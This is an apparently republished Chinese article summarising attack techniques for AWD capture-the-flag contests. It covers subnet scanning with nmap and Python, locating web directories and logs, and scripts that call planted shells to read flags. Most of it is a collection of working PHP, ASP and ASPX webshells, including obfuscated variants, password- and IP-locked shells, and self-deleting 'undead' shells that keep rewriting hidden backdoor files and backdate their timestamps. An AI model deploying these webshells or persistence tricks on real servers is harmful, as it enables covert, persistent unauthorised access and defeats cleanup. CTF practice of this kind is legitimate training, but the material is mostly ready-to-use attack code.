AWD攻击技术小结详解
2023-7-11 16:2:0 Author: xz.aliyun.com(查看原文) 阅读量:16 收藏

C段存活扫描

nmap

httpscan

httpscan.py 192.168.0.0/24 –t 10
nmap -sV 192.168.0.2            #扫描主机系统版本
nmap -sS 192.168.0.2            #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2  #扫描主机部分端口
nmap -sS -p- 192.168.0.2        #扫描主机全部端口

nmap官方文档:
https://nmap.org/man/zh/man-host-discovery.html

httpscan工具:
https://github.com/zer0h/httpscan

python脚本

import requests
for x in range(2,255): 
    url = "http://192.168.1.{}".format(x) 
    try: 
        r = requests.post(url) 
        print(url) 
        except: 
        pass

组件检索

find / -name "apaech2.conf"               #检索apache主配置文件
find / -name "nginx.conf"                 #检索nginx目录
find / -path "*nginx*" -name nginx*conf   #检索nginx配置目录
find / -name "httpd.conf"                 #检索apache目录
find / -path "*apache*" -name apache*conf #检索apache配置目录

网站首页

find / -name "index.php"   #定位网站目录

日志文件检索

/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/   #默认Apache日志目录
/var/log/apache2/  #默认Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log   #实时刷新滚动日志文件

备份检索

https://github.com/sry309/ihoneyBakFileScan 多进程批量网站备份文件泄露扫描工具

curl(跟hackbar差不多)

C:\Users\admin>curl "http://192.168.182.130:8801/include/shell.php" -d "admin_ccmd=system('cat /f*');"
#向shell.php文件里传入参数并返回结果

python多端口传参

#coding=utf-8
import requests
url_head="http://192.168.182.130"   #网段
url=""
shell_addr="/upload/url/shell.php" #木马路径
passwd="pass"                   #木马密码
#port="80"
payload = {passwd: 'System(\'cat /flag\');'}
# find / -name "flag*"

#清空上次记录
flag=open("flag.txt","w")
flag.close()

flag=open("flag.txt","a")


for i in range(8000,8004):
    url=url_head+":"+str(i)+shell_addr
    try:
        res=requests.post(url,payload)#,timeout=1
        if res.status_code == requests.codes.ok:
            result = res.text
            print (result)
            flag.write(result+"\n") 
        else:
            print ("shell 404")
    except:
        print (url+" connect shell fail")

flag.close()

常见一句话木马

php: <?php @eval($_POST['pass']);?>      <?php eval($_GET['pass']);
asp:   <%eval request ("pass")%>
aspx:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

get型木马

<?php eval($_GET['pass']);

/shell.php?pass=eval($_POST[1]);

命名为.shell.php

.shell.php在执行ls时无法被查看到,搭配ls的参数才能被发现

命名为-shell.php

命令行会把-后面的内容当成参数执行

shell1:

<?php ([email protected]$_GET[2])[email protected]$_($_POST[1])?>

连接方式:php?2=assert密码是1。

shell2:

<?php
$a=chr( 96^5);
$b=chr( 57^79);
$c=chr( 15^110);
$d=chr( 58^86);
$e= '($_REQUEST[C])';
@assert($a.$b.$c.$d.$e);
?>

配置为?b=))99(rhC(tseuqeR+lave

shell3:

<?php
$sF= "PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

配置填n985de9=QGV2YWwoJF9QT1NUWzBdKTs=
连接密码:0(零)

shell4:MD5木马

比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。

md5验证木马由此产生。防止其他队伍进行分析。

<?php
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil
@eval($_POST['cmd']);
?>

shell5:MD5木马+利用header

<?php
echo 'hello';
if(md5($_POST['pass'])=='d8d1a1efe0134e2530f503028a825253')//rcoil
if (@$_SERVER['HTTP_USER_AGENT'] == 'flag'){
//@符号" 是用于抑制错误报告,如果该行代码产生了错误,错误信息不会显示出来。
$test= 'flag';
header("flag:$test");
}
?>

shell 6:IP验证木马

<?php

$ip="x.x.x.x"; //自己的ip

if ($_SERVER['REMOTE_ADDR']===$ip)

{

    @eval($_POST["cmd"]);

}

shell7:混淆马1

<?php   // <?php assert($_POST[-7]); ?>            

@$_='s'.'s'./*-/*-*/'e'./*-/*-*/'r';              

@$_=/*-/*-*/'a'./*-/*-*/$_./*-/*-*/'t';              

@$_/*-/*-*/($/*-/*-*/{'_P'./*-/*-*/'OS'./*-/*-*/'T'}              

[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);

shell8:混淆马2

<?php  //$_POST[0]($_POST[1]);

@$_++; // $_ = 1  

$__=("#"^"|"); // $__ = _  

$__.=("."^"~"); // _P  

$__.=("/"^"`"); // _PO  

$__.=("|"^"/"); // _POS  

$__.=("{"^"/"); // _POST  

${$__}[!$_](${$__}[$_]); // 

?>

简单不死马

<?php

set_time_limit(0);   //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长

ignore_user_abort(1);  //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。

unlink(__FILE__);     //删除自身

while(1)

{  

    file_put_contents('shell.php','<?php @eval($_POST["password"]);?>');  //创建shell.php

    sleep(0);    //间隔时间

}

对付这种木马,目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果

<?php

set_time_limit(0);   // 取消脚本运行时间的超时上限

ignore_user_abort(1);  // 后台运行


while(1)

{  

    file_put_contents('shell.php','11111111');  //创建shell.php

    sleep(0);

}

进阶不死马

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'shell.php';
$code = '<?php if(md5($_POST["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST['cmd']);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" shell2.php');//修改时间,防止被删
    usleep(5000);
}
?>

#passwd=y0range857
#POST传参:passwd=y0range857&a=system('ls');

将这个文件上传到服务器,然后进行访问,会在该路径下一直生成一个名字为shell2.php的shell文件

写入shell, yj.php内容

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '/admin/.register.php'; 
$code = '<?php if(md5($_GET["passwd"])=="6daf17e539bf44591fad8c81b4a293d7"){@eval($_REQUEST["at"]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .login.php');
    file_put_contents($file1,$code);
    system('touch -m -d "2018-12-01 09:10:12" /admin/.register.php');
    usleep(5000);
}
?>

浏览器访问yj.php,会生成不死马.login.php /admin/.register.php

1、不死马

<?php 
ignore_user_abort(true);  #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__);  删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72"){@eval($_POST[a]);} ?>';
while (1){
    file_put_contents($file,$code);
    system('touch -m -d "2018-12-01 09:10:12" .2.php');
    usleep(5000);
} 
?>

2、隐藏的文件读取

<?php
header(php'flag:'.file_get_contents('/tmp/flag'));

内容被截断缺失,后面补充

条件允许的话,将flag信息直接读取并返回到header头中,这样做不易被发现。


文章来源: https://xz.aliyun.com/t/12687
如有侵权请联系:admin#unsafe.sh